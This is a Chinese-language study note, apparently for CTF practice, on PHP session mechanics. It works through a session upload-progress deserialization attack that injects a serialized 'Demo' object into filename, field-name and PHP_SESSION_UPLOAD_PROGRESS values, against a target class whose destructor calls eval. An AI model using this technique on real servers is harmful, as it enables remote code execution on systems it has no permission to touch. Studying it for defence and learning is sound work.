一、
cleanup 只会清除session文件内容,不会清楚session文件
二、
当页面使用ini_set修改php.ini文件的内容时,phpinfo()里面的local value内容也会修改
我们在脚本使用了ini_set('session.serialize_handler', 'php'); 而php.ini中使用的php_serialize
所以phpinfo()显示为:
三、
关于session.auto_start并且脚本里面没有session_start()函数时,cookie里面不会有PHPSESSID。
四、
PHPSESSID:
参考链接:cookie 中的 PHPSESSID_树洞树洞-单纯记录-CSDN博客_phpsessid
如果PHP脚本中有:
session_start();
则说明使用了SESSION。?
SESSION是一种机制,可以在服务器端跨文件暂时保存数据或传递数据,常用于购物车等方面。SESSION只在用户关闭浏览器之前有效。
PHP是怎样识别不同的SESSION的呢?
每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie
当然,通过修改session.name的值,这个名称是可以更改的。
浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。
当php.ini(Windows下PHP的配置文件)中的
session.auto_start = On
时,PHP会自动创建SESSION,改为:
session.auto_start = Off
PHP就不会自动创建SESSION了。
?但当session.auto_start=off的时候,若脚本中有这么一行代码:
session_start();
那么即使session.auto_start = Off,cookie里面也会自动创建一个PHPSEEID
?这个PHPSESSION 的值就是session文件名字的一部分
文件名为:sess_PHPSESSID的值
这里因为有sess_start(),所以会自动创建一个PHPSESSID,我把它的值修改为flag
那么对应的session文件为:
?五、
当脚本中没有session_start()同时seesion.auto_start()=Off的时候,cookie中是没有PHPSESSID这个东西的。
但是可以通过session.use_strict_mode=0;(默认关闭)
所以我们能自己创建一个session文件,但是要配合session上传进度使用才会有对应的session文件。
这样是没有xxx这个session文件的
这样才有okokxxx这个session文件,且内容不为空
五.1、
同时在对一个同时有session_start()代码和ini_set('session.serialize_handler', 'php或者php_serialize')代码的页面使用session上传进度的时候
(对没有session__start()的页面没有影响)
若能成功反序列化则sessoin文件不为空
session文件内容为:
?a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635162635;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
若是正常上传session进度,则存在session文件,但是内容为空
若待反序列化的字符串是错误的,则不存在session文件
六、
在session上传的时候,有时候会出现PHPSESSID有时候会没有,比如会这样:
有PHPSESSID
无PHPSESSID
原因:没有PHPSESSID是因为在使用session上传进度之前我们删除了目标页面对应的PHPSESSID,没有的话自己加上也是可以的
七、
上传目标页面:
<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php');
highlight_file(__FILE__);
?>
当php.ini配置为session.serialize_handler=php_serialize,而当前页面为session.serialize_handler=php
?使用session上传进度?
session文件内容:
a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635170318;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpOr9kMY";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170318;s:15:"bytes_processed";i:1312;}}}}
上传目标页面:
<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php_serialize');
highlight_file(__FILE__);
?>
当php.ini配置为session.serialize_handler=php,而当前页面为session.serialize_handler=php_serialize
?使用session上传进度
?session文件内容:
upload_progress_payload|a:5:{s:10:"start_time";i:1635170618;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpirELYU";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170618;s:15:"bytes_processed";i:1312;}}}
所以利用session上传进度设置session文件内容时,不管页面的ini_set('session.serialize_handler', 'php');设置为php还是php_serialize,都是按照php.ini里面的session.serialize_handler来设置的。
八、
session上传进度三个反序列化点:
目标页面:
<?php
//O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
highlight_file(__FILE__);
class Demo{
public $test;
function __destruct(){
eval($this->test);
}
}
?>
(1)修改filename,需要转义,在双引号前面加上\
session文件内容?
a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176574;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
(2)修改name,需要转义,在双引号前面加上\
session文件内容:
a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176884;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
(3)同进行session文件包含一样,修改PHP_SESSION_UPLOAD_PROGRESS的值
这里不需要转义
?session文件内容
a:1:{s:61:"upload_progress_|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}